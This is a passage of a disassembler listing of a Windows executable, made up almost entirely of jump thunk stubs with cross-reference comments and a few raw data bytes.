		jmp	sub_4142A0
sub_40137F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401384	proc near		; CODE XREF: sub_418530+72p
		jmp	sub_406C30
sub_401384	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401389	proc near		; CODE XREF: sub_409DA0+7p
					; sub_409EF0+7p ...
		jmp	sub_40A780
sub_401389	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40138E	proc near		; DATA XREF: ___:off_43E080o
		jmp	sub_422AE0
sub_40138E	endp

; ---------------------------------------------------------------------------
		jmp	loc_413B50
; ---------------------------------------------------------------------------
		jmp	sub_42B3E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40139D	proc near		; CODE XREF: sub_4189A0+11p
					; sub_421D50+1Fp
		jmp	sub_418CF0
sub_40139D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B360


loc_4013A2:				; CODE XREF: sub_42B360+3j
		jmp	sub_42A8A0
; END OF FUNCTION CHUNK	FOR sub_42B360
; ---------------------------------------------------------------------------
		jmp	sub_42B580
; ---------------------------------------------------------------------------
		jmp	loc_42EC40
; ---------------------------------------------------------------------------
		jmp	loc_414AD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4013B6	proc near		; CODE XREF: sub_407290+1Fp
		jmp	sub_407370
sub_4013B6	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E840

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4013C0	proc near		; CODE XREF: sub_40FDE0+3p
					; ___:00416B8Bp ...
		jmp	sub_40FE10
sub_4013C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013C5	proc near		; CODE XREF: sub_425300+Cp
					; sub_425470+Ap ...
		jmp	sub_4252C0
sub_4013C5	endp

; ---------------------------------------------------------------------------
		jmp	loc_40D360

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013CF	proc near		; CODE XREF: sub_40A940+20p
		jmp	sub_40AA70
sub_4013CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013D4	proc near		; CODE XREF: sub_40FFD0+AFDp
					; sub_40FFD0+E71p ...
		jmp	sub_40AF40
sub_4013D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013D9	proc near		; CODE XREF: sub_404C70+8E9p
					; sub_404C70+8F2p ...
		jmp	sub_40A2F0
sub_4013D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013DE	proc near		; CODE XREF: ___:004220AAp
		jmp	sub_4225E0
sub_4013DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013E3	proc near		; CODE XREF: sub_404640+87p
					; sub_40FFD0+9B0p ...
		jmp	sub_40A1E0
sub_4013E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013E8	proc near		; CODE XREF: sub_426AF0+12Ep
		jmp	sub_419FF0
sub_4013E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013ED	proc near		; CODE XREF: sub_41E700+35Dp
					; sub_41E700+3CAp ...
		jmp	sub_421C40
sub_4013ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4013F2	proc near		; CODE XREF: sub_418D40+7p
		jmp	sub_419040
sub_4013F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013F7	proc near		; CODE XREF: sub_416260+5Fp
		jmp	sub_416830
sub_4013F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4013FC	proc near		; DATA XREF: ___:off_43E0C4o
		jmp	sub_41B470
sub_4013FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401401	proc near		; CODE XREF: sub_415750+29p
					; sub_415870+29p
		jmp	sub_416320
sub_401401	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401406	proc near		; CODE XREF: sub_413E10+19Ap
		jmp	sub_415830
sub_401406	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40140B	proc near		; CODE XREF: ___:0042EF9Fp
					; ___:0042EFC8p
		jmp	sub_42F140
sub_40140B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42D050

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401415	proc near		; CODE XREF: ___:00416E9Fp
		jmp	sub_417EF0
sub_401415	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40141A	proc near		; CODE XREF: sub_41B8C0:loc_41B8CFp
					; sub_41B8C0+1Fp
		jmp	sub_41B8A0
sub_40141A	endp

; ---------------------------------------------------------------------------


loc_40141F:				; DATA XREF: sub_40AF40+4o
		jmp	loc_40B010

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401424	proc near		; CODE XREF: sub_4034E0+61p
					; sub_403C90+1Dp ...
		jmp	sub_409B60
sub_401424	endp

; ---------------------------------------------------------------------------
		jmp	loc_435ED0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40142E	proc near		; CODE XREF: sub_418930+29p
		jmp	sub_418BB0
sub_40142E	endp

; ---------------------------------------------------------------------------
		jmp	loc_433110

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401438	proc near		; CODE XREF: ___:004328FDp
					; sub_432A80+20p
		jmp	sub_432BB0
sub_401438	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40143D	proc near		; CODE XREF: ___:00406BD3p
					; ___:00416BF8p ...
		jmp	sub_406C00
sub_40143D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401442	proc near		; CODE XREF: sub_404640+370p
					; sub_404640:loc_4049E5p ...
		jmp	sub_404BE0
sub_401442	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401447	proc near		; CODE XREF: sub_404C70+26Bp
					; ___:0040F2E6p ...
		jmp	sub_40E810
sub_401447	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40144C	proc near		; CODE XREF: sub_415A00+5p
		jmp	sub_4164E0
sub_40144C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401451	proc near		; CODE XREF: sub_40B5A0+1Dp
					; ___:0040B9CDp ...
		jmp	sub_40BDA0
sub_401451	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B670

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40145B	proc near		; CODE XREF: sub_41E700+349p
					; sub_421B90+1Ap
		jmp	sub_421C00
sub_40145B	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401465	proc near		; CODE XREF: sub_415160+29p
		jmp	sub_415C80
sub_401465	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40146A	proc near		; CODE XREF: ___:00408A9Ap
					; ___:00408AC3p ...
		jmp	sub_4094D0
sub_40146A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40146F	proc near		; CODE XREF: sub_404640+30p
					; sub_404640+14Bp ...
		jmp	sub_40A740
sub_40146F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401474	proc near		; CODE XREF: sub_419360+1D8p
					; sub_419360+1EFp
		jmp	sub_419830
sub_401474	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401479	proc near		; CODE XREF: sub_412720+F8p
		jmp	sub_41BD30
sub_401479	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40147E	proc near		; CODE XREF: sub_413BE0+E1p
		jmp	sub_415240
sub_40147E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401483	proc near		; CODE XREF: sub_422AE0+48p
					; sub_422AE0+213p ...
		jmp	sub_425900
sub_401483	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401488	proc near		; CODE XREF: sub_41B550+2Ap
					; sub_41B550+5Ap
		jmp	sub_41A650
sub_401488	endp

; ---------------------------------------------------------------------------
		jmp	loc_431190
; ---------------------------------------------------------------------------
		jmp	loc_42E970

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401497	proc near		; CODE XREF: sub_40EDE0+EAp
		jmp	sub_40ECA0
sub_401497	endp

; ---------------------------------------------------------------------------
		jmp	loc_40A760
; ---------------------------------------------------------------------------


loc_4014A1:				; DATA XREF: ___:off_43E078o
		jmp	loc_40F1B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014A6	proc near		; CODE XREF: sub_40BDA0+14p
					; sub_40BDE0+9p ...
		jmp	sub_40C140
sub_4014A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014AB	proc near		; CODE XREF: sub_42B260+1Dp
		jmp	sub_42B2D0
sub_4014AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014B0	proc near		; CODE XREF: sub_41C6B0+4E7p
					; sub_41C6B0+A75p ...
		jmp	sub_41D670
sub_4014B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4014B5	proc near		; CODE XREF: sub_413290+48p
					; ___:00439A37j ...
		jmp	sub_415750
sub_4014B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014BA	proc near
		jmp	sub_40AF00
sub_4014BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014BF	proc near		; DATA XREF: ___:off_43E044o
		jmp	sub_414DB0
sub_4014BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014C4	proc near		; CODE XREF: ___:004266B3p sub_426710j ...
		jmp	sub_4265F0
sub_4014C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014C9	proc near		; CODE XREF: sub_4034E0+115p
					; sub_404640+1B8p ...
		jmp	sub_409C00
sub_4014C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4014CE	proc near		; CODE XREF: sub_40ACF0+7p
		jmp	sub_40ADE0
sub_4014CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014D3	proc near		; CODE XREF: sub_404B10+9p
					; sub_404C70+45p ...
		jmp	sub_40A7C0
sub_4014D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014D8	proc near		; CODE XREF: sub_41E700+E1p
					; sub_421990+1Ap
		jmp	sub_421A00
sub_4014D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014DD	proc near		; CODE XREF: sub_41A1B0+10p
					; sub_41A350+47p ...
		jmp	sub_41A5A0
sub_4014DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4014E2	proc near		; CODE XREF: sub_4070B0+24p
		jmp	sub_407290
sub_4014E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014E7	proc near		; CODE XREF: ___:0042B185p
		jmp	sub_42B260
sub_4014E7	endp

; ---------------------------------------------------------------------------
		jmp	sub_427690

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014F1	proc near		; CODE XREF: ___:00416BBBp
					; ___:00439F56j ...
		jmp	sub_4175E0
sub_4014F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014F6	proc near		; CODE XREF: sub_415BC0+5Fp
		jmp	sub_4165B0
sub_4014F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4014FB	proc near		; CODE XREF: sub_424880+Fp
					; sub_4248C0+1CCp ...
		jmp	sub_4247E0
sub_4014FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401500	proc near		; CODE XREF: sub_428350+117p
					; sub_428350+1DCp ...
		jmp	sub_40A010
sub_401500	endp

; ---------------------------------------------------------------------------
		jmp	loc_419A50
; ---------------------------------------------------------------------------
		jmp	loc_432CC0
; ---------------------------------------------------------------------------
		jmp	loc_42EC90
; ---------------------------------------------------------------------------
		jmp	loc_42EBA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401519	proc near		; CODE XREF: sub_421FF0+8p
		jmp	sub_422440
sub_401519	endp

; ---------------------------------------------------------------------------
		jmp	locret_4199D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401523	proc near		; CODE XREF: sub_40CC30+1E4p
					; sub_40CFE0+143p ...
		jmp	sub_419A10
sub_401523	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401528	proc near		; CODE XREF: sub_418B10+3p
		jmp	sub_418DA0
sub_401528	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40152D	proc near		; DATA XREF: ___:0043E1B8o
		jmp	sub_42B5D0
sub_40152D	endp

; ---------------------------------------------------------------------------
		jmp	loc_432610

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401537	proc near		; CODE XREF: sub_40FFD0+95p
					; sub_412050+54Dp ...
		jmp	sub_414280
sub_401537	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40153C	proc near		; CODE XREF: sub_40B5A0+Bp
					; ___:0040B9B9p
		jmp	sub_40BEA0
sub_40153C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401541	proc near		; CODE XREF: sub_42F5D0+1Bp
					; sub_431C70+94p
		jmp	sub_42F740
sub_401541	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401546	proc near		; CODE XREF: sub_421F70+7p
		jmp	sub_4223F0
sub_401546	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40154B	proc near		; CODE XREF: ___:004328EFp
					; sub_432A80+Fp
		jmp	sub_432BF0
sub_40154B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401550	proc near		; CODE XREF: sub_4189E0+29p
					; sub_418AC0+29p
		jmp	sub_418C60
sub_401550	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401555	proc near		; CODE XREF: sub_40B1F0+40p
					; ___:00438BBAj ...
		jmp	sub_40BD30
sub_401555	endp

; ---------------------------------------------------------------------------
		jmp	loc_430440

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40155F	proc near		; CODE XREF: sub_40C070+4p
		jmp	sub_40C280
sub_40155F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401564	proc near		; CODE XREF: sub_407030+3Cp
		jmp	sub_4071E0
sub_401564	endp

; ---------------------------------------------------------------------------
		jmp	loc_41BCC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40156E	proc near		; CODE XREF: sub_415280+5Bp
					; sub_415BC0+11p ...
		jmp	sub_415E10
sub_40156E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401573	proc near		; CODE XREF: ___:00416F2Ap
		jmp	sub_4182D0
sub_401573	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401578	proc near		; CODE XREF: sub_4136E0+BEp
					; sub_4136E0+FCp ...
		jmp	sub_415160
sub_401578	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40157D	proc near		; CODE XREF: ___:00416E3Fp
		jmp	sub_417C60
sub_40157D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401582	proc near		; CODE XREF: sub_412970+39p
					; sub_4129E0+A9p
		jmp	sub_4128E0
sub_401582	endp

; ---------------------------------------------------------------------------
		jmp	loc_431160

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40158C	proc near		; CODE XREF: sub_40A4B0+16Fp
					; ___:00438B2Aj
		jmp	sub_40A810
sub_40158C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401591	proc near		; CODE XREF: sub_403FC0+51p
					; ___:00404064p ...
		jmp	sub_4070B0
sub_401591	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401596	proc near		; CODE XREF: ___:00408AB7p
					; ___:00408AE0p ...
		jmp	sub_40B700
sub_401596	endp

; ---------------------------------------------------------------------------
		jmp	loc_432020
; ---------------------------------------------------------------------------
		jmp	loc_41A220

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4015A5	proc near		; CODE XREF: sub_416060+4p
		jmp	sub_4166B0
sub_4015A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015AA	proc near		; CODE XREF: sub_4098D0+1Ap
					; sub_409920+1Ap
		jmp	sub_409990
sub_4015AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015AF	proc near		; DATA XREF: ___:0043E134o
		jmp	sub_4280D0
sub_4015AF	endp

; ---------------------------------------------------------------------------
		jmp	loc_432980

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015B9	proc near		; CODE XREF: ___:00419245p
		jmp	sub_4192A0
sub_4015B9	endp

; ---------------------------------------------------------------------------
		jmp	loc_432550

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015C3	proc near		; CODE XREF: ___:0041D7D3p
		jmp	sub_41D800
sub_4015C3	endp

; ---------------------------------------------------------------------------
		jmp	loc_432290

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015CD	proc near		; CODE XREF: sub_4153C0+5p
		jmp	sub_415E40
sub_4015CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015D2	proc near		; CODE XREF: sub_418A50+5p
					; sub_418B50+6p ...
		jmp	sub_418D60
sub_4015D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015D7	proc near		; CODE XREF: sub_404C70+94Dp
					; sub_406C30+22Cp ...
		jmp	sub_409D00
sub_4015D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015DC	proc near		; CODE XREF: ___:00416DFFp
		jmp	sub_406BA0
sub_4015DC	endp

; ---------------------------------------------------------------------------
		jmp	loc_4243D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015E6	proc near		; CODE XREF: ___:00415ECAp
		jmp	sub_416700
sub_4015E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015EB	proc near		; CODE XREF: sub_41EFD0+1C7p
		jmp	sub_420D70
sub_4015EB	endp

; ---------------------------------------------------------------------------


loc_4015F0:				; DATA XREF: ___:0043E1C0o
		jmp	loc_42B8C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015F5	proc near		; CODE XREF: sub_428080+3p
		jmp	sub_4280B0
sub_4015F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4015FA	proc near		; CODE XREF: sub_404C70+E8Ep
					; sub_40D600+120p ...
		jmp	sub_420030
sub_4015FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015FF	proc near		; CODE XREF: sub_431550+20p
					; sub_431550+32p
		jmp	sub_433700
sub_4015FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401604	proc near		; CODE XREF: ___:004314C5p
		jmp	sub_42FFC0
sub_401604	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401609	proc near
		jmp	sub_425A10
sub_401609	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40160E	proc near		; CODE XREF: sub_416480+8p
		jmp	sub_416850
sub_40160E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401613	proc near		; DATA XREF: ___:off_43E0ACo
		jmp	sub_41E700
sub_401613	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AB40

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40161D	proc near		; CODE XREF: sub_40AF20p ___:00430182p
		jmp	sub_431390
sub_40161D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401622	proc near		; CODE XREF: sub_4070F0+1Ap
					; sub_418930+1Ap
		jmp	sub_407220
sub_401622	endp

; ---------------------------------------------------------------------------
		jmp	loc_416D30
; ---------------------------------------------------------------------------
		jmp	loc_42F100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401631	proc near		; CODE XREF: sub_4222E0+5Fp
		jmp	sub_422680
sub_401631	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401636	proc near		; CODE XREF: ___:0041A2AAp
		jmp	sub_41B100
sub_401636	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40163B	proc near		; CODE XREF: sub_431550:loc_43158Ep
		jmp	sub_4315F0
sub_40163B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401640	proc near		; CODE XREF: sub_432EF0+12p
					; sub_433640+51p
		jmp	sub_4305B0
sub_401640	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401645	proc near		; CODE XREF: ___:00416E4Fp
		jmp	sub_417D00
sub_401645	endp

; ---------------------------------------------------------------------------
		jmp	loc_430280

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40164F	proc near		; CODE XREF: sub_40A8D0+8p
		jmp	sub_40A920
sub_40164F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401654	proc near		; CODE XREF: ___:00412FBEp
		jmp	sub_413150
sub_401654	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401659	proc near		; CODE XREF: sub_42FB30+ADp
					; ___:00432340p ...
		jmp	sub_42F580
sub_401659	endp

; ---------------------------------------------------------------------------
		db 0E9h	; é
		db 0EDh	; í
		db 0A1h	; ¡
		db    2
		db    0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401663	proc near		; CODE XREF: sub_42B910+15Ep
		jmp	sub_42B510
sub_401663	endp

; ---------------------------------------------------------------------------
		jmp	loc_406850
; ---------------------------------------------------------------------------
		jmp	loc_42E3E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401672	proc near		; CODE XREF: ___:004073CAp
		jmp	sub_407570
sub_401672	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401677	proc near		; CODE XREF: sub_4226F0+3Cp
		jmp	sub_422830
sub_401677	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40167C	proc near		; DATA XREF: ___:0043E0C8o
		jmp	sub_41B550
sub_40167C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401681	proc near		; CODE XREF: sub_4034E0+BBp
					; sub_406C30+29Dp ...
		jmp	sub_4036B0
sub_401681	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401686	proc near		; CODE XREF: ___:0042EE40p
					; ___:0042EEBEp ...
		jmp	sub_432E10
sub_401686	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40168B	proc near		; CODE XREF: sub_409510+10p
		jmp	sub_4095B0
sub_40168B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401690	proc near		; CODE XREF: sub_40A4B0+4Ap
		jmp	sub_40A7E0
sub_401690	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401695	proc near		; CODE XREF: ___:00416E6Fp
		jmp	sub_40F670
sub_401695	endp

; ---------------------------------------------------------------------------
		jmp	loc_432170
; ---------------------------------------------------------------------------
		jmp	loc_42E6E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016A4	proc near		; CODE XREF: sub_40BF40+9p
					; sub_40C1A0+18p
		jmp	sub_40C320
sub_4016A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016A9	proc near		; CODE XREF: sub_41D8D0+283p
		jmp	sub_42E910
sub_4016A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016AE	proc near		; CODE XREF: sub_4034E0+CCp
					; sub_404640+EDp ...
		jmp	sub_40A6B0
sub_4016AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016B3	proc near		; CODE XREF: ___:00416E8Fp
		jmp	sub_417EC0
sub_4016B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016B8	proc near		; CODE XREF: sub_424670+7Ep
					; sub_424670+92p ...
		jmp	sub_424540
sub_4016B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016BD	proc near		; CODE XREF: sub_412720+E0p
					; sub_413850+CEp ...
		jmp	sub_409EF0
sub_4016BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E1C0
; ---------------------------------------------------------------------------
		jmp	loc_42E940

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016CC	proc near		; CODE XREF: ___:00415109p
		jmp	sub_415A70
sub_4016CC	endp

; ---------------------------------------------------------------------------


loc_4016D1:				; DATA XREF: ___:off_43E0ECo
		jmp	loc_4266B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016D6	proc near		; CODE XREF: sub_409680+58p
					; sub_409680+82p ...
		jmp	sub_4098D0
sub_4016D6	endp

; ---------------------------------------------------------------------------
		jmp	sub_426FB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4016E0	proc near		; CODE XREF: sub_41E700+2B2p
		jmp	sub_421B50
sub_4016E0	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AEF0
; ---------------------------------------------------------------------------
		jmp	loc_411950

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016EF	proc near		; CODE XREF: sub_40A8D0+10p
		jmp	sub_40A940
sub_4016EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4016F4	proc near
		jmp	sub_435270
sub_4016F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016F9	proc near		; CODE XREF: sub_4183D0+7Bp
					; sub_4183D0+C5p ...
		jmp	sub_418B80
sub_4016F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4016FE	proc near		; CODE XREF: sub_414840+FCp
		jmp	sub_414A10
sub_4016FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401703	proc near		; CODE XREF: sub_41E700+D1p
		jmp	sub_421AB0
sub_401703	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401708	proc near		; CODE XREF: sub_40AF00p
					; ___:loc_430165p
		jmp	sub_431310
sub_401708	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40170D	proc near		; CODE XREF: sub_409680+91p
					; sub_412C30+Dp
		jmp	sub_409850
sub_40170D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401712	proc near		; DATA XREF: ___:off_43E0A8o
		jmp	sub_40C480
sub_401712	endp

; ---------------------------------------------------------------------------
		jmp	sub_40AE60

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40171C	proc near		; CODE XREF: sub_413A20+4Ep
		jmp	sub_4150E0
sub_40171C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401721	proc near		; CODE XREF: sub_40F670+13Dp
		jmp	sub_412C00
sub_401721	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401726	proc near		; CODE XREF: ___:0040F230p
		jmp	sub_40E290
sub_401726	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40172B	proc near		; CODE XREF: ___:00415131p
		jmp	sub_415B40
sub_40172B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401730	proc near		; CODE XREF: sub_4276E0+98p
		jmp	sub_427850
sub_401730	endp

; ---------------------------------------------------------------------------
		jmp	loc_4254A0
; ---------------------------------------------------------------------------
		jmp	loc_41AF90

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40173F	proc near		; CODE XREF: sub_4070F0+48p
					; sub_4070F0:loc_407175p
		jmp	sub_4072F0
sub_40173F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401744	proc near		; CODE XREF: sub_40AE90+2Cp
					; sub_4183D0+8Fp ...
		jmp	sub_40AFC0
sub_401744	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401749	proc near		; CODE XREF: sub_4036D0+2A5p
					; sub_4036D0+2B5p ...
		jmp	sub_403D90
sub_401749	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40174E	proc near		; CODE XREF: sub_42A680+7Fp
					; sub_42A8A0+318p
		jmp	sub_42A490
sub_40174E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401753	proc near		; CODE XREF: sub_415A30+14p
					; sub_415A70+9p ...
		jmp	sub_4165D0
sub_401753	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401758	proc near		; CODE XREF: sub_40AFC0+10p
					; ___:0042F351p ...
		jmp	sub_430210
sub_401758	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40175D	proc near		; CODE XREF: ___:0040AF94p
		jmp	sub_433640
sub_40175D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401762	proc near		; CODE XREF: sub_418E20+5Fp
		jmp	sub_4190B0
